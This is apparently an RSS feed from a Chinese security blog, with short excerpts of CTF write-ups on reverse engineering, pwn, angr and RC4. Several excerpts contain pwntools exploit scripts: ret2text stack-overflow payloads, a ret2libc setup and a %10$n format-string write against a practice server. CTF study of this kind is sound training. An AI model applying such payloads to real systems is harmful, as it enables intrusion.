<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[n1ptune__的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/xshower</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; xshower]]></copyright><item><title><![CDATA[2021工业信息安全大赛第三场--工控逆向分析]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/118470084</link><guid>https://blog.youkuaiyun.com/xshower/article/details/118470084</guid><author>xshower</author><pubDate>Mon, 05 Jul 2021 00:13:18 +0800</pubDate><description><![CDATA[考完试打个比赛，tctf不会(tcl)，打个工控结果只有一道逆向，前几场好像多几道，麻了
这道题主要是反调麻烦，加密倒挺简单的
把下面两个地方patch成nop


patch之后就可以正常调试了
注意到下面这里

调试后可以看出到这里是最后的比较结果
加密就是一个异或，key在下面

src=[0xC8, 0xA6,0x87,0xEF,0xB6,0xC4,0xFA,0xFE,0xB0,0xC4,0xEC,0x80,0xD6,0xC7,0xAA,0xE4]
c=[0x85,0x97,0xaa,0xb5]
s]]></description><category></category></item><item><title><![CDATA[ctfshow 基础pwn wp]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/117376279</link><guid>https://blog.youkuaiyun.com/xshower/article/details/117376279</guid><author>xshower</author><pubDate>Sat, 29 May 2021 00:05:36 +0800</pubDate><description><![CDATA[PWN01
简单栈溢出，ret2text
from pwn import *
#p = process("./pwn1")
p = remote(ip,port)
p.recv()
payload = 'a'*(0x9+4) + p32(0x0804850F)
p.sendline(payload)
p.interactive()

PWN03
32为程序，栈溢出，无system，ret2libc，32位程序通过栈传参
from pwn import *
from LibcSearcher import *]]></description><category></category></item><item><title><![CDATA[buu [第五空间2019 决赛]PWN5 wp]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/116357033</link><guid>https://blog.youkuaiyun.com/xshower/article/details/116357033</guid><author>xshower</author><pubDate>Sun, 02 May 2021 21:16:31 +0800</pubDate><description><![CDATA[存在格式化字符串漏洞

经过尝试发现偏移为10

from pwn import *

addr=0x804c044

p=remote("node3.buuoj.cn",29172)

#%10$n的意思是向偏移为10处所指向的地址处写入已经写的字符数
#即 mov [%10$n] , 字符数 
payload=p32(addr)+"%10$n"

p.sendline(payload)
#p32写入的字符数是4
p.sendline("4")
p.interactive()


...]]></description><category></category></item><item><title><![CDATA[buuctf ciscn_2019_c_1 wp]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/116356650</link><guid>https://blog.youkuaiyun.com/xshower/article/details/116356650</guid><author>xshower</author><pubDate>Sun, 02 May 2021 20:44:02 +0800</pubDate><description><![CDATA[记录下学习pwn的过程（感觉比re难多了，我太菜了）
查看保护

64位程序，64位程序 的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9，多的参数再通过栈传递
在encrypt函数里使用了gets函数，可能有栈溢出
发现对输入进行了加密
可以使用“\0”绕过
构造rop链，需要使用到rdi传递参数，又因为是ubuntu18所以需要栈对齐，使用到一个ret

from pwn import *
from LibcSearcher import *

p=remote("node]]></description><category></category></item><item><title><![CDATA[2021[HFCTF]虎符杯网络安全赛道re部分wp]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/115493179</link><guid>https://blog.youkuaiyun.com/xshower/article/details/115493179</guid><author>xshower</author><pubDate>Wed, 07 Apr 2021 19:25:06 +0800</pubDate><description><![CDATA[CrackMe
这题是使用c++写的，因为无符号表，ida对c++的解析不是很友好，可以去了解一下c++的string类型的结构，对解题很有帮助，推荐看这篇文章链接: https://bbs.pediy.com/thread-230312.htm.

程序先将长度为17位的输入分为7位和10位两部分
再输入一个数要求满足一定条件

直接爆破
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;math.h&gt;

double f]]></description><category></category></item><item><title><![CDATA[DASCTF3月赛re部分wp]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/115273144</link><guid>https://blog.youkuaiyun.com/xshower/article/details/115273144</guid><author>xshower</author><pubDate>Sat, 27 Mar 2021 22:37:09 +0800</pubDate><description><![CDATA[做出两道re，被大佬们带躺了个12
Enjoyit-1
这题送分题
.net程序，用dnspy反编译，主要逻辑如下

b.b检查输入是否在’_'和’z’之间
b.c是一个改表base64


写脚本解出符合条件的输入
import base64
src='abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ='
aaa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123]]></description><category></category></item><item><title><![CDATA[符号执行angr安装与使用]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/113869873</link><guid>https://blog.youkuaiyun.com/xshower/article/details/113869873</guid><author>xshower</author><pubDate>Fri, 19 Feb 2021 18:41:35 +0800</pubDate><description><![CDATA[简介
angr是ctf中最常用的符号执行架构，支持x86,x86-64,ARM,AARCH64,MIPS,MIPS64,PPC,PPC64等多种架构，这里记录一下我对angr使用的学习过程
安装
因为angr对某些库如z3进行了一定的改动，所以推荐将其安装在虚拟环境virtualenvwrapper中
安装 virtualenvwrapper
#1安装环境
:~$ sudo apt-get install python-dev libffi-dev build-essential virtualenvwra]]></description><category></category></item><item><title><![CDATA[RC4加密原理及其弱密钥推导]]></title><link>https://blog.youkuaiyun.com/xshower/article/details/108350898</link><guid>https://blog.youkuaiyun.com/xshower/article/details/108350898</guid><author>xshower</author><pubDate>Tue, 01 Sep 2020 22:16:24 +0800</pubDate><description><![CDATA[RC4简介
rc4加密由Ron Rivest 于1987年为RSA Security公司设计，是一种可变密钥长度，面向字节的流密码 ，广泛应用于 web SSL/TLS, wireless WEP/WPA等
1.RC4算法原理

用一个长度为1到256个字节（8~2048位）的可变长度密钥来初始化一个256个字节的状态向量S,S的元素记为S[0],S[1],…S[255],从始至终S包含所有从0到255的数字


a.RC4密钥调度
首先初始化状态向量S[i]，同时由可变密钥K生成中间向量T
/*  
初始]]></description><category></category></item></channel></rss>